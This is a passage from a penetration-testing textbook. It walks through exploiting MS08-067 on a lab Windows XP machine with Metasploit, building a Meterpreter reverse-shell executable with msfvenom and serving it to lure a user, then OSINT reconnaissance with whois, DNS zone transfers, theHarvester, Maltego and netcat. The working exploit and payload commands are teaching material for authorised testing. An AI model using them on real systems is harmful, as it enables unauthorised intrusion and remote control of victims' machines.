Attempting to trigger the vulnerability...
Command shell session 2 opened (192.168.20.9:4444 -> 192.168.20.10:1374)
at 2015-08-31 10:29:36 -0400
Microsoft Windows XP [Version 5.1.2600]
(C) Copyright 1985-2001 Microsoft Corp.
C:\WINDOWS\system32>
Listing 4-10: Running the exploit
Congratulations: You have successfully exploited your first machine!
Here’s what happened. When we enter exploit, Metasploit opens a listener on port 4444 to catch the reverse shell from the target u. Then, since
we kept the target as the default Automatic Targeting, Metasploit finger­printed
the remote SMB server and selected the appropriate exploit target for us v.
Once it selected the exploit, Metasploit sent over the exploit string and
attempted to take control of the target machine and execute our selected
payload. Because the exploit succeeds, a command shell was caught by our
handler.
To close this shell, type ctrl-C and enter y at the prompt to abort the
session.
C:\WINDOWS\system32>^C
Abort session 2? [y/N]
y
[*] Command shell session 2 closed.
msf exploit(ms08_067_netapi) >
100 Chapter 4
Reason: User exit
To return to a Meterpreter shell, you can choose a payload with
Meterpreter in the name such as windows/meterpreter/reverse_tcp and
exploit the Windows XP target again.
Msfcli
Now for another way to interact with Metasploit: the command line interface, Msfcli. Msfcli is particularly useful when using Metasploit inside scripts
and for testing Metasploit modules that you’re developing because it lets
you run a module with a quick, one-line command.
Getting Help
To run Msfcli, first exit Msfconsole by entering exit, or just open another
Linux console. Msfcli is in our path, so we can call it from anywhere. Let’s
begin by looking at the help menu for Msfcli with msfcli -h (Listing 4-11).
[email protected]:~# msfcli -h
u Usage: /opt/metasploit/apps/pro/msf3/msfcli <exploit_name> <option=value> [mode]
==============================================================================
Mode
Description
-------------(A)dvanced
Show available advanced options for this module
(AC)tions
Show available actions for this auxiliary module
(C)heck
Run the check routine of the selected module
(E)xecute
Execute the selected module
(H)elp
You're looking at it baby!
(I)DS Evasion Show available ids evasion options for this module
v(O)ptions
Show available options for this module
w(P)ayloads
Show available payloads for this module
(S)ummary
Show information about this module
(T)argets
Show available targets for this exploit module
Listing 4-11: Msfcli help
Unlike with Msfconsole, when using Msfcli, we can tell Metasploit everything it needs to know to run our exploit in just one command u. Luckily,
Msfcli has some modes to help us build the final command. For example,
the O mode v shows the selected module’s options, and P shows the compatible payloads w.
Showing Options
Let’s use our MS08-067 exploit against our Windows XP target again.
According to the help page, we need to pass Msfcli the exploit name we
want to use and set all our options u. To show the available options use
the O mode. Enter msfcli windows/smb/ms08_067_netapi O to see the options
for the MS08-067 exploit module, as shown in Listing 4-12.
Using the Metasploit Framework
101
[email protected]:~# msfcli windows/smb/ms08_067_netapi O
[*] Please wait while we load the module tree...
Name
---RHOST
RPORT
SMBPIPE
Current Setting
--------------445
BROWSER
Required
-------yes
yes
yes
Description
----------The target address
Set the SMB service port
The pipe name to use (BROWSER, SRVSVC)
Listing 4-12: Module options
We see the same options as we did in Msfconsole. We’re reminded to
set the RHOST option to the IP address of the target machine, but as we saw
on the help page, setting options in Msfcli is a little different from doing do
in Msfconsole. Here we say option=value. For example, to set RHOST, we enter
RHOST=192.168.20.10.
Payloads
For a reminder of the payloads compatible with this module, use the P mode.
Try msfcli windows/smb/ms08_067_netapi RHOST=192.168.20.10 P, as shown in
Listing 4-13.
[email protected]:~# msfcli windows/smb/ms08_067_netapi RHOST=192.168.20.10 P
[*] Please wait while we load the module tree...
Compatible payloads
===================
Name
---generic/custom
generic/debug_trap
generic/shell_bind_tcp
generic/shell_reverse_tcp
generic/tight_loop
--snip--
Description
----------Use custom string or file as payload. Set
either PAYLOADFILE or PAYLOADSTR.
Generate a debug trap in the target process
Listen for a connection and spawn a command
shell
Connect back to attacker and spawn a command
shell
Generate a tight loop in the target process
Listing 4-13: Module payloads in Msfcli
This time, we’ll use a bind shell payload. Recall that a bind shell just
listens on a local port on the target machine. It will be up to our attack
machine to connect to the target machine after the payload has run. Recall
from our work in Msfconsole that choosing a payload requires additional
payload-specific options, which we can view again with the O flag.
Because our bind shell won’t be calling back to our attack machine, we
don’t need to set the LHOST option, and we can leave the LPORT option as the
102 Chapter 4
default of 4444 for now. It looks like we have everything we need to exploit
the Windows XP target again. Finally, to tell Msfcli to run the exploit we
use the E flag (Listing 4-14).
[email protected]:~# msfcli windows/smb/ms08_067_netapi RHOST=192.168.20.10
PAYLOAD=windows/shell_bind_tcp E
[*] Please wait while we load the module tree...
RHOST => 192.168.20.10
PAYLOAD => windows/shell_bind_tcp
[*] Started bind handler u
[*] Automatically detecting the target...
[*] Fingerprint: Windows XP - Service Pack 3 - lang:English
[*] Selected Target: Windows XP SP3 English (AlwaysOn NX)
[*] Attempting to trigger the vulnerability...
[*] Command shell session 1 opened (192.168.20.9:35156 -> 192.168.20.10:4444)
at 2015-08-31 16:43:54 -0400
Microsoft Windows XP [Version 5.1.2600]
(C) Copyright 1985-2001 Microsoft Corp.
C:\WINDOWS\system32>
Listing 4-14: Running the exploit in Msfcli
It looks like everything worked, and we got another shell. But this time,
instead of starting a reverse handler listening on the specified local port
of 4444, Metasploit starts a handler for the bind shell u. After Metasploit
sends over the exploit string, the bind handler will automatically connect
out to the port specified by the payload and connect to the shell. Once
again, we have taken control of the target machine.
Creating Standalone Payloads with Msfvenom
In 2011, Msfvenom was added to Metasploit. Prior to Msfvenom, the tools
Msfpayload and Msfencode could be used together to create standalone
encoded Metasploit payloads in a variety of output formats, such as Windows
executables and ASP pages. With the introduction of Msfvenom, the functionality of Msfpayload and Msfencode was combined into a single tool,
though Msfpayload and Msfencode are still included in Metasploit. To view
Msfvenom’s help page, enter msfvenom -h.
So far with Metasploit, our goal has been to exploit a vulnerability on
the target system and take control of the machine. Now we’ll do something
a little different. Instead of relying on a missing patch or other security
issue, we are hoping to exploit the one security issue that may never be fully
patched: the users. Msfvenom allows you to build standalone payloads to
run on a target system in an attempt to exploit the user whether through a
social-engineering attack (Chapter 11) or by uploading a payload to a vulnerable server, as we’ll see in Chapter 8. When all else fails, the user can
often be a way in.
Using the Metasploit Framework
103
Choosing a Payload
To list all the available payloads, enter msfvenom -l payloads. We’ll use one
of Metasploit’s Meterpreter payloads, windows/meterpreter/reverse_tcp, which
provides a reverse connection with a Meterpreter shell. Use -p to select a
payload.
Setting Options
To see the correct options to use for a module, enter the -o flag after selecting a payload, as shown in Listing 4-15.
[email protected]:~# msfvenom -p windows/meterpreter/reverse_tcp -o
[*] Options for payload/windows/meterpreter/reverse_tcp
Name
---EXITFUNC
Current Setting
--------------process
Required
-------yes
LHOST
LPORT
4444
yes
yes
Description
----------Exit technique: seh, thread, process,
none
The listen address
The listen port
Listing 4-15: Options in Msfvenom
As expected, our LHOST needs to be set, and our LPORT is set to the default
4444. For practice, set LPORT to 12345 by entering LPORT=12345. We also see
EXITFUNC, which we can leave as the default. Because this is a reverse connection payload, we need to set our LHOST option to tell the target machine where
to connect back to (our Kali machine).
Choosing an Output Format
Now tell Msfvenom which output format to use. Will we be running this payload from a Windows executable, or do we want to make an ASP file that
can be uploaded to a web server we have gained write access to? To see all
available output formats, enter msfvenom --help-formats.
[email protected]:~# msfvenom --help-formats
Executable formats
asp, aspx, aspx-exe, dll, elf, exe, exe-only, exe-service, exe-small,
loop-vbs, macho, msi, msi-nouac, psh, psh-net, vba, vba-exe, vbs, war
Transform formats
bash, c, csharp, dw, dword, java, js_be, js_le, num, perl, pl, powershell,
psl, py, python, raw, rb, ruby, sh, vbapplication, vbscript
To select the output format, use the -f option along with the chosen
format:
msfvenom windows/meterpreter/reverse_tcp LHOST=192.168.20.9 LPORT=12345 -f exe
104 Chapter 4
But if you run this command as is, you’ll see garbage printed to the
console. While this is technically our executable payload, it doesn’t do us
much good. Instead, let’s redirect the output to an executable file,
chapter4example.exe.
[email protected]:~# msfvenom -p windows/meterpreter/reverse_tcp LHOST=192.168.20.9 LPORT=12345 -f exe
> chapter4example.exe
[email protected]:~# file chapter4example.exe
chapter4example.exe: PE32 executable for MS Windows (GUI) Intel 80386 32-bit
There is no output to the screen, but if we run the file command on
our newly created executable file, we see that it’s a Windows executable that
will run on any Windows system as long as a user attempts to run it. (Later,
in Chapter 12, we’ll see cases where antivirus applications stop a Metasploit
payload and learn ways we can obfuscate our standalone payloads to bypass
antivirus programs. Also, we will cover clever ways to lure users into downloading and running malicious payloads in Chapter 11.)
Serving Payloads
One good way to serve up payloads is to host them on a web server, disguise
them as something useful, and lure users into downloading them. For this
example, we’ll host our Metasploit executable on our Kali machine’s builtin Apache server and browse to the file from our target machine.
First, run cp chapter4example.exe /var/www to copy the payload executable
to the Apache directory, and then make sure the web server is started with
service apache2 start.
[email protected]:~# cp chapter4example.exe /var/www
[email protected]:~# service apache2 start
Starting web server apache2
[ OK ]
Now switch to your Windows XP target and open Internet Explorer.
Browse to http://192.168.20.9/chapter4example.exe and download the file.
But before we run the file, we have one loose end to deal with.
So far when attempting to exploit our target machine, Metasploit set
up our payload handlers and sent the exploit. When we used Msfconsole to
exploit the MS08-067 vulnerability with a reverse shell payload, Metasploit
first set up a handler listening on port 4444 for the reverse connection, but
up to this point we have nothing listening for a reverse connection from the
payload we created with Msfvenom.
Using the Multi/Handler Module
Start Msfconsole again, and we’ll look at a Metasploit module called multi/
handler. This module allows us to set up standalone handlers, which is just
what we’re lacking. We need a handler to catch our Meterpreter connection
when our malicious executable is run from the Windows XP target. Select
the multi/handler module with use multi/handler.
Using the Metasploit Framework
105
The first thing to do is tell multi/handler which of Metasploit’s many
handlers we need. We need to catch the windows/meterpreter/reverse_tcp
payload we used when we created our executable with Msfvenom. Choose
it with set PAYLOAD windows/meterpreter/reverse_tcp, and follow it with show
options (Listing 4-16).
msf > use multi/handler
msf exploit(handler) > set PAYLOAD windows/meterpreter/reverse_tcp
PAYLOAD => windows/meterpreter/reverse_tcp
msf exploit(handler) > show options
Module options (exploit/multi/handler):
Name
----
Current Setting
---------------
Required
--------
Description
-----------
Payload options (windows/meterpreter/reverse_tcp):
Name
---EXITFUNC
Current Setting
--------------process
Required
-------yes
LHOST
LPORT
4444
yes
yes
Description
----------Exit technique: seh, thread, process,
none
The listen address
The listen port
--snip-msf exploit(handler) >
Listing 4-16: Options with multi/handler
From here we tell Metasploit which setup we used when we created the
payload. We’ll set the LHOST option to our local Kali IP address and the LPORT
to the port we chose in Msfvenom, in this case 192.168.20.9 and 12345,
respectively. Once all the options for the payload are set correctly, enter
exploit, as shown in Listing 4-17.
msf exploit(handler) > set LHOST 192.168.20.9
LHOST => 192.168.20.9
msf exploit(handler) > set LPORT 12345
LPORT => 12345
msf exploit(handler) > exploit
[*] Started reverse handler on 192.168.20.9:12345
[*] Starting the payload handler...
Listing 4-17: Setting up a handler
As you can see, Metasploit sets up a reverse handler on port 12345 as
instructed, listening for a payload to call back.
106 Chapter 4
Now we can switch back to our Windows XP target and run our downloaded executable. Run chapter4example.exe on your Windows target. Back
in Msfconsole, you should see that the handler receives the reverse connection, and you receive a Meterpreter session.
[*] Sending stage (752128 bytes) to 192.168.20.10
[*] Meterpreter session 1 opened (192.168.20.9:12345 -> 192.168.20.10:49437)
at 2015-09-01 11:20:00 -0400
meterpreter >
Spend some time experimenting with Msfvenom if you like. We’ll
return to this useful tool when we attempt to bypass antivirus solutions
in Chapter 12.
Using an Auxiliary Module
Metasploit was first conceived as an exploitation framework, and it continues to be a top contender in the world of exploitation. But in the ensuing
years, its functionality has grown in about as many directions as there are
creative minds working on it. I sometimes quip that Metasploit can do everything except my laundry, and I’m currently working on a module for that.
Dirty socks aside, in addition to exploitation, Metasploit has modules
to aid in every phase of pentesting. Some modules that are not used for
exploitation are known as auxiliary modules; they include things like vulnerability scanners, fuzzers, and even denial of service modules. (A good rule
of thumb to remember is that exploit modules use a payload and auxiliary
modules do not.)
For example, when we first used the windows/smb/ms08_067_netapi
exploit module earlier in this chapter, one of its options was SMBPIPE. The
default value for that option was BROWSER. Let’s look at an auxiliary module
that will enumerate the listening pipes on an SMB server, auxiliary/scanner/
smb/pipe_auditor (Listing 4-18). (We use auxiliary modules like exploits, and
like exploits we can also drop the auxiliary/ part of the module name.)
msf > use scanner/smb/pipe_auditor
msf auxiliary(pipe_auditor) > show options
Module options (auxiliary/scanner/smb/pipe_auditor):
Name
---uRHOSTS
SMBDomain
SMBPass
SMBUser
THREADS
Current Setting
--------------WORKGROUP
1
Required
-------yes
no
no
no
yes
Description
----------The target address range or CIDR identifier
The Windows domain to use for authentication
The password for the specified username
The username to authenticate as
The number of concurrent threads
Listing 4-18: Options for scanner/smb/pipe_auditor
Using the Metasploit Framework
107
The options for this module are a bit different from what we’ve seen so
far. Instead of RHOST we have RHOSTS u, which allows us to specify more than
one remote host to run the module against. (Auxiliaries can be run against
multiple hosts, whereas exploits can exploit only one system at a time.)
We also see options for SMBUser, SMBPass, and SMBDomain. Because our
Windows XP target is not part of any domain, we can leave the SMBDomain
at the default value, WORKGROUP. We can leave the SMBUser and SMBPass values
blank. The THREADS option allows us to control the speed of Metasploit by
having our module run in multiple threads. We’re scanning only one system in this case, so the default value of 1 thread will work fine. The only
option we need to set is RHOSTS to the IP address of our Windows XP target.
msf auxiliary(pipe_auditor) > set RHOSTS 192.168.20.10
RHOSTS => 192.168.20.10
Even though we aren’t technically exploiting anything in this case, we
can still tell Metasploit to run our auxiliary module by entering exploit.
msf
auxiliary(pipe_auditor) > exploit
[*] 192.168.20.10 - Pipes: \browser u
[*] Scanned 1 of 1 hosts (100% complete)
[*] Auxiliary module execution completed
msf auxiliary(pipe_auditor) >
The module audits the listening SMB pipes on our Windows XP target. As it turns out, the browser pipe is the only available pipe u. Because
this pipe is listening, this is the correct value for the SMBPIPE option in
the windows/smb/ms08_067_netapi exploit module we used earlier in the
chapter.
Updating Me ta sploit
The exercises in this book are designed to work on a base install of Kali
Linux 1.0.6. Naturally, many security tools used in this book will have been
updated since Kali’s release. Metasploit in particular receives regular updates
from core developers as well as from the security community.
All of the material in this book works with the Metasploit version installed
on Kali 1.0.6. As you continue your career as a pentester, you’ll want the latest
Metasploit modules. The Metasploit Project is typically pretty solid at releasing
modules for the latest security issues circulating the Web. To pull down the latest modules from Metasploit’s GitHub, enter the following:
[email protected]:~# msfupdate
108 Chapter 4
Summary
In this chapter we’ve gotten comfortable using some of Metasploit’s interfaces. We’ll return to Metasploit throughout the book.
In the next few chapters we’ll simulate a penetration test against our
target machines, covering a wide variety of vulnerability types. If you pursue a career in penetration testing, you will likely encounter clients spanning the gamut of possible security postures. Some will be missing so many
patches across the organization that you may wonder if they have updated
since installing the base image back in 2001. Along with missing patches,
you may find additional vulnerabilities such as default passwords and misconfigured services. Gaining access to such networks is trivial for skilled
penetration testers.
On the other hand, you may also find yourself working for clients who
have patch management down pat, with everything from Windows operating systems to all third-party software on a regular patch cycle across the
organization. Some clients may deploy cutting-edge security controls such
as proxies that allow only Internet Explorer to call out to the Internet. This
will stop even Metasploit reverse shells that call back on ports 80 or 443 and
look like web traffic, unless you are able to exploit the Internet Explorer
program, which may also be completely patched. You may find intrusion
prevention firewalls at the perimeter that drop any string that looks even
a little bit like attack traffic.
Simply throwing the MS08-067 Metasploit module at these highsecurity networks will get you no results, except maybe a call from a network monitoring vendor with a warrant for your arrest. (Don’t worry: As
part of the penetration test, you will have a get-out-of-jail-free card.) But
even highly secure networks are only as strong as their weakest link. For
instance, I once performed an onsite penetration test for a company that
employed all of the security controls I just mentioned. However, the local
administrator password on all the Windows workstations was the same fiveletter dictionary word. After I cracked the password, I was able to log on as
an administrator on every workstation on the network. From there I was
able to use something called token impersonation to gain domain administrator access. Despite all the strong security controls, with a little effort I was
able to take over the network the same way I would a network with missing
patches from 2003.
As you work through the rest of this book, you will pick up not only the
technical skills required to break into vulnerable systems but also the mindset required to find a way in when none seems readily apparent.
Now let’s turn our attention to gathering information about our targets
so we can develop a solid plan of attack.
Using the Metasploit Framework
109
Part II
Assessments
5
Infor m at ion G at he r ing
In this chapter we begin the information-gathering
phase of penetration testing. The goal of this phase
is to learn as much about our clients as we can. Does
the CEO reveal way too much on Twitter? Is the system administrator writing to archived listservs, asking
about how to secure a Drupal install? What software
are their web servers running? Are the Internet-facing systems listening
on more ports than they should? Or, if this is an internal penetration test,
what is the IP address of the domain controller?
We’ll also start to interact with our target systems, learning as much as
we can about them without actively attacking them. We’ll use the knowledge
gained in this phase to move on to the threat-modeling phase where we
think like attackers and develop plans of attack based on the information
we’ve gathered. Based on the information we uncover, we’ll actively search
for and verify vulnerabilities using vulnerability-scanning techniques, which
are covered in the next chapter.
Open Source Intelligence Gathering
We can learn a good deal about our client’s organization and infrastructure
before we send a single packet their way, but information gathering can still
be a bit of a moving target. It isn’t feasible to study the online life of every
employee, and given a large amount of gathered information, it can be difficult to discern important data from noise. If the CEO tweets frequently
about a favorite sports team, that team’s name may be the basis for her
webmail password, but it could just as easily be entirely irrelevant. Other
times it will be easier to pick up on something crucial. For instance, if your
client has online job postings for a system administrator who is an expert
in certain software, chances are those platforms are deployed in the client’s
infrastructure.
As opposed to intelligence gained from covert sources such as dumpster diving, dumping website databases, and social engineering, open source
intelligence (or OSINT) is gathered from legal sources like public records
and social media. The success of a pentest often depends on the results of
the information-gathering phase, so in this section, we will look at a few
tools to obtain interesting information from these public sources.
Netcraft
Sometimes the information that web servers and web-hosting companies
gather and make publicly available can tell you a lot about a website. For
instance, a company called Netcraft logs the uptime and makes queries
about the underlying software. (This information is made publicly available
at http://www.netcraft.com/.) Netcraft also provides other services, and their
antiphishing offerings are of particular interest to information security.
For example, Figure 5-1 shows the result when we query http://www​
.netcraft.com/ for http://www.bulbsecurity.com. As you can see, bulbsecurity.com
was first seen in March 2012. It was registered through GoDaddy, has an IP
address of 50.63.212.1, and is running Linux with an Apache web server.
Armed with this information, when pentesting bulbsecurity.com, we could
start by ruling out vulnerabilities that affect only Microsoft IIS servers. Or,
if we wanted to try social engineering to get credentials to the website, we
could write an email that appears to be from GoDaddy, asking the administrator to log in and check some security settings.
114 Chapter 5
Figure 5-1: Netcraft’s results for bulbsecurity.com
Whois Lookups
All domain registrars keep records of the domains they host. These records
contain information about the owner, including contact information. For
example, if we run the Whois command line tool on our Kali machine to
query for information about bulbsecurity.com, as shown in Listing 5-1, we see
that I used private registration, so we won’t learn much.
[email protected]:~# whois bulbsecurity.com
Registered through: GoDaddy.com, LLC (http://www.godaddy.com)
Domain Name: BULBSECURITY.COM
Created on: 21-Dec-11
Expires on: 21-Dec-12
Last Updated on: 21-Dec-11
Registrant: u
Domains By Proxy, LLC
DomainsByProxy.com
14747 N Northsight Blvd Suite 111, PMB 309
Scottsdale, Arizona 85260
United States
Information Gathering 115
Technical Contact: v
Private, Registration [email protected]
Domains By Proxy, LLC
DomainsByProxy.com
14747 N Northsight Blvd Suite 111, PMB 309
Scottsdale, Arizona 85260
United States
(480) 624-2599
Fax -- (480) 624-2598
Domain servers in listed order:
NS65.DOMAINCONTROL.COM w
NS66.DOMAINCONTROL.COM
Listing 5-1: Whois information for bulbsecurity.com
This site has private registration, so both the registrant u and technical
contact v are domains by proxy. Domains by proxy offer private registration, hiding your personal details in the Whois information for the domains
you own. However, we do see the domain servers w for bulbsecurity.com.
Running Whois queries against other domains will show more interesting
results. For example, if you do a Whois lookup on georgiaweidman.com, you
might get an interesting blast from the past, including my college phone
number.
DNS Reconnaissance
We can also use Domain Name System (DNS) servers to learn more about a
domain. DNS servers translate the human-readable URL www.bulbsecurity.com
into an IP address.
Nslookup
For example, we could use a command line tool such as Nslookup, as shown
in Listing 5-2.
[email protected]:~# nslookup www.bulbsecurity.com
Server:
75.75.75.75
Address:
75.75.75.75#53
Non-authoritative answer:
www.bulbsecurity.com
canonical name = bulbsecurity.com.
Name:
bulbsecurity.com
Address: 50.63.212.1 u
Listing 5-2: Nslookup information for www.bulbsecurity.com
Nslookup returned the IP address of www.bulbsecurity.com, as you can
see at u.
We can also tell Nslookup to find the mail servers for the same website
by looking for MX records (DNS speak for email), as shown in Listing 5-3.
116 Chapter 5
[email protected]:~# nslookup
> set type=mx
> bulbsecurity.com
Server:
75.75.75.75
Address:
75.75.75.75#53
Non-authoritative answer:
bulbsecurity.com
mail exchanger = 40 ASPMX2.GOOGLEMAIL.com.
bulbsecurity.com
mail exchanger = 20 ALT1.ASPMX.L.GOOGLE.com.
bulbsecurity.com
mail exchanger = 50 ASPMX3.GOOGLEMAIL.com.
bulbsecurity.com
mail exchanger = 30 ALT2.ASPMX.L.GOOGLE.com.
bulbsecurity.com
mail exchanger = 10 ASPMX.L.GOOGLE.com.
Listing 5-3: Nslookup information for bulbsecurity.com’s mail servers
Nslookup says bulbsecurity.com is using Google Mail for its email servers,
which is correct because I use Google Apps.
Host
Another utility for DNS queries is Host. We can ask Host for the name
­servers for a domain with the command host -t ns domain. A good example
for domain queries is zoneedit.com, a domain set up to demonstrate zone
transfer vulnerabilities, as shown here.
[email protected]:~# host -t ns zoneedit.com
zoneedit.com name server ns4.zoneedit.com.
zoneedit.com name server ns3.zoneedit.com.
--snip--
This output shows us all the DNS servers for zoneedit.com. Naturally,
because I mentioned that this domain was set up to demonstrate zone
transfers, that’s what we are going to do next.
Zone Transfers
DNS zone transfers allow name servers to replicate all the entries about a
domain. When setting up DNS servers, you typically have a primary name
server and a backup server. What better way to populate all the entries in
the secondary DNS server than to query the primary server for all of its
entries?
Unfortunately, many system administrators set up DNS zone transfers
insecurely, so that anyone can transfer the DNS records for a domain.
zoneedit.com is an example of such a domain, and we can use the host command to download all of its DNS records. Use the -l option to specify the
domain to transfer, and choose one of the name servers from the previous
command, as shown in Listing 5-4.
Information Gathering 117
[email protected]:~# host -l zoneedit.com ns2.zoneedit.com
Using domain server:
Name: ns2.zoneedit.com
Address: 69.72.158.226#53
Aliases:
zoneedit.com name server ns4.zoneedit.com.
zoneedit.com name server ns3.zoneedit.com.
zoneedit.com name server ns15.zoneedit.com.
zoneedit.com name server ns8.zoneedit.com.
zoneedit.com name server ns2.zoneedit.com.
zoneedit.com has address 64.85.73.107
www1.zoneedit.com has address 64.85.73.41
dynamic.zoneedit.com has address 64.85.73.112
bounce.zoneedit.com has address 64.85.73.100
--snip-mail2.zoneedit.com has address 67.15.232.182
--snip-Listing 5-4: Zone transfer of zoneedit.com
There are pages and pages of DNS entries for zoneedit.com, which gives
us a good idea of where to start in looking for vulnerabilities for our pentest. For example, mail2.zoneedit.com is probably a mail server, so we should
look for potentially vulnerable software running on typical email ports such
as 25 (Simple Mail Transfer Protocol) and 110 (POP3). If we can find a webmail server, any usernames we find may lead us in the right direction so that
we can guess passwords and gain access to sensitive company emails.
Searching for Email Addresses
External penetration tests often find fewer services exposed than internal
ones do. A good security practice is to expose only those services that must
be accessed remotely, like web servers, mail servers, VPN servers, and maybe
SSH or FTP, and only those services that are mission critical. Services like
these are common attack surfaces, and unless employees use two-factor
authentication, accessing company webmail can be simple if an attacker
can guess valid credentials.
One excellent way to find usernames is by looking for email addresses
on the Internet. You might be surprised to find corporate email addresses
publicly listed on parent-teacher association contact info, sports team rosters, and, of course, social media.
You can use a Python tool called theHarvester to quickly scour thousands of search engine results for possible email addresses. theHarvester
can automate searching Google, Bing, PGP, LinkedIn, and others for email
addresses. For example, in Listing 5-5, we’ll look at the first 500 results in
all search engines for bulbsecurity.com.
118 Chapter 5
[email protected]:~# theharvester -d bulbsecurity.com -l 500 -b all
*******************************************************************
*
*
* | |_| |__
___
/\ /\__ _ _ ____
_____ ___| |_ ___ _ __ *
* | __| '_ \ / _ \ / /_/ / _` | '__\ \ / / _ \/ __| __/ _ \ '__| *
* | |_| | | | __/ / __ / (_| | |
\ V / __/\__ \ || __/ |
*
* \__|_| |_|\___| \/ /_/ \__,_|_|
\_/ \___||___/\__\___|_|
*
*
*
* TheHarvester Ver. 2.2a
*
* Coded by Christian Martorella
*
* Edge-Security Research
*
* [email protected]
*
*******************************************************************
Full harvest..
[-] Searching in Google..
Searching 0 results...
Searching 100 results...
Searching 200 results...
Searching 300 results...
--snip-[+] Emails found:
[email protected]
[+] Hosts found in search engines:
-----------------------------------50.63.212.1:www.bulbsecurity.com
--snip-Listing 5-5: Running theHarvester against bulbsecurity.com
There’s not too much to be found for bulbsecurity.com, but theHarvester
does find my email address, [email protected], and the website,
www.bulbsecurity.com, as well as other websites I share virtual hosting
with. You may find more results if you run theHarvester against your
organization.
Maltego
Paterva’s Maltego is a data-mining tool designed to visualize open source
intelligence gathering. Maltego has both a commercial and a free community edition. The free Kali Linux version, which we’ll use in this book,
limits the results it returns, but we can still use it to gather a good deal of
interesting information very quickly. (The paid version offers more results
and functionality. To use Maltego on your pentests, you will need a paid
license.)
Information Gathering 119
Note
Feel free to use Maltego to study other Internet footprints, including your own, your
company’s, your high school arch nemesis’s, and so on. Maltego uses information
publicly available on the Internet, so it is perfectly legal to do reconnaissance on any
entity.
To run Maltego, enter maltego at the command line. The Maltego GUI
should launch. You will be prompted to create a free account at the Paterva
website and log in. Once logged in, choose Open a blank graph and let me
play around, and then click Finish, as shown in Figure 5-2.
Figure 5-2: Opening a new Maltego graph
Now select the Palette option from the left-hand border. As you can see,
we can gather information about all sorts of entities.
Let’s start with the bulbsecurity.com domain, as shown in Figure 5-3.
Expand the Infrastructure option from the Palette (on the left of the
Maltego window) and drag a Domain entity from the Palette onto the new
graph. By default, the domain is paterva.com. To change it to bulbsecurity.com,
either double-click the text or change the text field at the right side of the
screen.
120 Chapter 5
Figure 5-3: Adding an entity to the graph
Once the domain is set, you can run transforms (Maltego-speak for
queries) on it, instructing Maltego to search for interesting information.
Let’s start with a couple of simple transforms, which you can view by rightclicking the domain icon and choosing Run Transform, as shown in
Figure 5-4.
In the figure, we can see all the transforms available for a domain entity.
As you work with different entities, different transform options will be available. Let’s find the MX records for the bulbsecurity.com domain and, thus,
where the mail servers are. Under All Transforms, choose the To DNS
Name – MX (mail server) transform.
As expected from our previous research, Maltego returns Google Mail
servers, indicating that bulbsecurity.com uses Google Apps for email. We can
run the simple To Website [Quick lookup] transform to get the website
address of bulbsecurity.com. See Figure 5-5 for the results from both this and
the previous transform.
Information Gathering 121
Figure 5-4: Maltego transforms
Figure 5-5: Transform results
122 Chapter 5
Maltego correctly finds www.bulbsecurity.com. Attacking the Google
Mail servers will likely be out of the scope of any pentest, but more infor­
mation on the www.bulbsecurity.com website would certainly be useful.
We can run transforms on any entity on the graph, so select the website
www.bulbsecurity.com to gather data on it. For instance, we can run the transform ToServerTechnologiesWebsite to see what software www.bulbsecurity.com
is running, as shown in Figure 5-6.
Figure 5-6: www.bulbsecurity.com software
Maltego finds that www.bulbsecurity.com is an Apache web server with
PHP, Flash, and so on, along with a WordPress install. WordPress, a com­
monly used blogging platform, has a long history of security issues (like
a lot of software). We’ll look at exploiting website vulnerabilities in Chap­
ter 14. (Let’s hope I am keeping my WordPress blog up to date, or else I
might wake up to find my site defaced one day. How embarrassing!)
You can find additional information and tutorials about Maltego at
http://www.paterva.com/. Spend some time using Maltego transforms to find
interesting information about your organization. In skilled hands, Maltego
can turn hours of reconnaissance work into minutes with the same quality
results.
Port Scanning
When you start a pentest, the potential scope is practically limitless. The
client could be running any number of programs with security issues: They
could have misconfiguration issues in their infrastructure that could lead to
compromise; weak or default passwords could give up the keys to the kingdom on otherwise secure systems; and so on. Pentests often narrow your
Information Gathering 123
scope to a particular IP range and nothing more, and you won’t help your
client by developing a working exploit for the latest and greatest server-side
vulnerability if they don’t use the vulnerable software. We need to find out
which systems are active and which software we can talk to.
Manual Port Scanning
For example, in the previous chapter we saw that exploiting the MS08067 vulnerability can be an easy win for attackers and pentesters alike. To
use this exploit, we need to find a Windows 2000, XP, or 2003 box with an
SMB server that is missing the MS08-067 Microsoft patch available on the
network. We can get a good idea about the network-based attack surface by
mapping the network range and querying systems for listening ports.
We can do this manually by connecting to ports with a tool such as
telnet or Netcat and recording the results. Let’s use Netcat to connect to
the Windows XP machine on port 25, the default port for the Simple Mail
Transfer Protocol (SMTP).
[email protected]:~# nc -vv 192.168.20.10 25
nc: 192.168.20.10 (192.168.20.10) 25 [smtp] open
nc: using stream socket
nc: using buffer size 8192
nc: read 66 bytes from remote
220 bookxp SMTP Server SLmail 5.5.0.4433 Ready
ESMTP spoken here
nc: wrote 66 bytes to local
As it turns out, the Windows XP box is running an SMTP server
on port 25 u. After we connected, the SMTP server announced itself
as SLMail ­version 5.5.0.4433.
Now, keep in mind that admins can change banners like this to say
anything, even sending attackers and pentesters on a wild goose chase,
studying vulnerabilities for a product that is not deployed. In most cases,
however, versions in software banners will be fairly accurate, and just connecting to the port and viewing the banner provides a starting point for
our pentesting research. Searching the Web for information about SLMail
­version 5.5.0.4433 may yield some interesting results.
On the other hand, connecting to every possible TCP and UDP port on
just one machine and noting the results can be time consuming. Luckily,
computers are excellent at repetitive tasks like this, and we can use portscanning tools such as Nmap to find listening ports for us.
Note
124 Chapter 5
Everything we have done so far in this chapter is completely legal. But once we start
actively querying systems, we are moving into murky legal territory. Attempting to break
into computers without permission is, of course, illegal in many countries. Though
stealthy scan traffic may go unnoticed, you should practice the skills we study in the
rest of this chapter (and the rest of this book) only on your target virtual machines or
other systems you own or have written permission to test (known in the trade as a
get-out-of-jail-free card).
Port Scanning with Nmap
Nmap is an industry standard for port scanning. Entire books have been
written just about using Nmap, and the manual page may seem a bit daunting. We will cover the basics of port scanning here and come back to the
tool in later chapters.
Firewalls with intrusion-detection and prevention systems have made
great strides in detecting and blocking scan traffic, so you might run an
Nmap scan and receive no results at all. Though you could be hired to perform an external pentest against a network range with no live hosts, it’s more
likely that you’re being blocked by a firewall. On the other hand, your Nmap
results might instead say that every host is alive, and will be listening on every
port if your scan is detected.
A SYN Scan
Let’s start by running a SYN scan against our target machines. A SYN scan
is a TCP scan that does not finish the TCP handshake. A TCP connection
starts with a three-way handshake: SYN 4 S YN-ACK 4 ACK, as shown in
Figure 5-7.
SYN
SYN-ACK
ACK
Figure 5-7: TCP three-way handshake
